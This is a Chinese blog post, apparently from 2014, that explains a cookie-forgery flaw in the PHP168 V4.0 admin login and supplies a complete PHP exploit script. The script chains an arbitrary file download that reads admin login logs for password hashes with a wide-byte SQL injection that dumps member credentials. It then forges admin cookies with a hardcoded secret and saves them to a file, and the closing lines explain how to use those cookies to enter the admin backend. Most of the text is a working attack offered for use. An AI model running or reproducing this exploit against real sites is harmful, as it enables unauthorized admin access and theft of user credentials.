漏洞的原理:
具體的請看admin/global.php這個文件裏面關於用戶登陸部分的代碼,這裏截取一下。。。
/*用戶登錄*/ if( $_POST[loginname] && $_POST[loginpwd] ) { if( $webdb[yzImgAdminLogin] ){ if(!get_cookie("yzImgNum")||get_cookie("yzImgNum")!=$yzimg){ if(!strstr($WEBURL,$webdb[www_url])){ echo "<CENTER>網址有誤,請重新登錄</CENTER><META HTTP-EQUIV=REFRESH CONTENT='1;URL=$webdb[admin_url]'>"; exit; } showmsg("<A HREF=?>驗證碼不符合</A>"); }else{ set_cookie("yzImgNum",""); } } $rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' "); if(!$rs){ login_logs($_POST[loginname],$_POST[loginpwd]); setcookie("Admin",'',0,"/"); eval(base64_decode("Y$webdb[_Notice]")); showmsg("<A HREF=?>用戶不存在</A>"); }elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){ login_logs($_POST[loginname],$_POST[loginpwd]); setcookie("Admin",'',0,"/"); eval(base64_decode("Y$webdb[_Notice]")); showmsg("<A HREF=?>密碼不正確</A>"); }elseif(!$rs[uid]){ Add_memberdata($_POST[loginname]); }else{ login_logs($_POST[loginname],md5($_POST[loginpwd])); $_COOKIE[Admin]="$rs[uid]\t".mymd5($rs[password]); //@include(PHP168_PATH."cache/warn.php"); setcookie("Admin",$_COOKIE[Admin],0,"/"); } }
注意代碼最後一行setcookie部分,使用的是用戶的uid和經過mymd5函數加密以後的密碼拼接出來的字符串,既然我已經拿到了用戶的hash值,那麼直接利用這個函數來生成客戶端cookie即可繞過驗證,下面是實現自動生成cookie的exp。。。
<?php /** * Created by 獨自等待 * Date: 2014/9/17 * Time: 10:16 * Name: php168_cookie.php * 獨自等待博客:http://www.waitalone.cn/ */ print_r(' +------------------------------------------------------+ PHP168 V4.0 cookie欺騙 EXP Site:http://www.waitalone.cn/ Exploit BY: 獨自等待 Time:2014-09-17 +------------------------------------------------------+ '); if ($argc < 3) { print_r(' +------------------------------------------------------+ Useage: php ' . $argv[0] . ' host path Host: target server (ip/hostname) Path: path of php168 Example: php ' . $argv[0] . ' localhost /php168 +------------------------------------------------------+ '); exit; } error_reporting(0); $host = $argv[1]; $path = $argv[2]; $url = "http://$host$path"; //統計時間 $start_time = func_time(); get_hash($url); $sql_test = 'select 0x70687031363873716c'; $url_test = $url . "/hack.php?fid=1&fromurl=%bf',(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(" . urlencode($sql_test) . "))a%20from%20information_schema.tables%20group%20by%20a)b))%23&hack=count&nowurl=$url/bencandy.php?fid-10-id-18444-page-1.htm&screen_size=1920*1080&windows_lang=undefined"; $users = array(); $count = 5; //設置默認顯示的用戶數,防止sql注入用戶數過多的問題 if (preg_match('/php168sql/i', file_get_contents($url_test))) { echo "\n正在利用SQL注入獲取管理員信息並進行cookie僞造,請稍候……\n\n"; $sql_ver = 'select concat(0x7e,user(),0x7e)'; echo '用戶名:' . sql_get($sql_ver); $sql_db = 'select concat(0x7e,database(),0x7e)'; echo '數據庫:' . sql_get($sql_db); $sql_count = "SELECT concat(0x7e,count(*),0x7e) FROM p8_members"; $user_count = sql_get($sql_count); echo "程序默認顯示用戶數(可自行更改):$count" . "共有用戶數:" . $user_count . PHP_EOL; if ($user_count < $count) $count = $user_count; for ($i = 0; $i < $count; $i++) { $sql_user = "SELECT concat(0x7e,uid,0x3a,username,0x3a,password,0x7e) FROM p8_members LIMIT $i,1"; echo '管理員' . ($i + 1) . '-->' . sql_get($sql_user); $users[] = sql_get($sql_user); } mk_cookie($users); } else { exit('報告大爺,不存在SQL注入漏洞,您可以秒下一個!'); } function mk_cookie($users) { global $url; echo "\n請複製相應的cookie信息進行僞造,以下cookie保存在cookie.txt文件中\n\n"; if (is_array($users)) { fwrite(fopen('cookie.txt', 'w'), $url . PHP_EOL); foreach ($users as $user) { list($uid, $username, $password) = explode(':', $user); $cookie = 'Admin=' . urlencode("$uid\t" . mymd5(trim($password))); echo $cookie . PHP_EOL; fwrite(fopen('cookie.txt', 'a+'), $cookie . PHP_EOL); } } } function get_hash($url) { $url = $url . '/job.php?job=download&url=' . base64_encode($url . '/cache/adminlogin_logs.php'); $content = file_get_contents($url); //echo $content; if ($content != '') { if (preg_match_all('/"(.*?)\s+(\w{32})/i', $content, $hash)) { echo '正在從登陸日誌中獲取管理員Hash,共找到管理員' . count(array_unique($hash[1])) . "位:\n\n"; foreach (array_unique($hash[1]) as $key => $values) { echo '管理員賬號:' . $values . "\t密碼:" . $hash[2][$key] . PHP_EOL; echo "\n請嘗試使用如下cookie登陸,可更改admin=後面的數字1爲2,3等\n\n"; echo 'Admin=' . urlencode("1\t" . mymd5(trim($hash[2][$key]))) . PHP_EOL; } } else { echo '報告大爺,日誌中沒有成功登陸的日誌或者已經加密!' . PHP_EOL; } } else { echo '報告大爺,任意下載漏洞不存在,獲取hash失敗!' . PHP_EOL; } } function sql_get($sql) { global $url; $mkurl = $url . "/hack.php?fid=1&fromurl=%bf',(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(" . urlencode($sql) . "))a+from+information_schema.tables+group+by+a)b))%23&hack=count&nowurl=$url/bencandy.php?fid-10-id-18444-page-1.htm&screen_size=1920*1080&windows_lang=undefined"; $content = file_get_contents($mkurl); //echo $content; if ($content != false) { if (preg_match('/~(.*?)~/i', $content, $result)) { return $result[1] . PHP_EOL; } else { return '未獲取到內容,請檢查!' . PHP_EOL; } } } function mymd5($string, $action = "EN") { $secret_string = '5*j,.^&;?.%#@!'; if ($string == "") return ""; if ($action == "EN") { $md5code = substr(md5($string), 8, 10); } else { $md5code = substr($string, -10); $string = substr($string, 0, strlen($string) - 10); } $key = md5($md5code . $secret_string); //echo $key; $string = ($action == "EN" ? $string : base64_decode($string)); $len = strlen($key); $code = ""; for ($i = 0; $i < strlen($string); $i++) { $k = $i % $len; $code .= $string[$i] ^ $key[$k]; } $code = ($action == "DE" ? (substr(md5($code), 8, 10) == $md5code ? $code : NULL) : base64_encode($code) . "$md5code"); return $code; } //時間統計函數 function func_time() { list($microsec, $sec) = explode(' ', microtime()); return $microsec + $sec; } echo "\n腳本執行時間:" . round((func_time() - $start_time), 4) . '秒';
爲了提高利用率,這裏使用了2個漏洞,一個是php168的任意下載漏洞,一個是php168的一處注入漏洞。。
利用任意下載漏洞可以獲取用戶成功登陸以後的用戶名和hash值,但是沒有uid 所以這裏uid就需要自己手工來測試了,雖然可以使用for循環來自動生成,然後再利用curl提交 但是這樣的話這個exp就比較大了,所以我就偷懶了,沒有實現這部分的代碼,如果感興趣的可以自己拿去改改。。
SQL注入漏洞利用的是一處寬字節注入漏洞,可以得到管理員的uid,用戶名和密碼,在實際使用環境中,請以sql注入生成的cookie信息爲準。
使用firefox的一個插件,直接插入cookie信息以後即可直接登陸後臺。。。。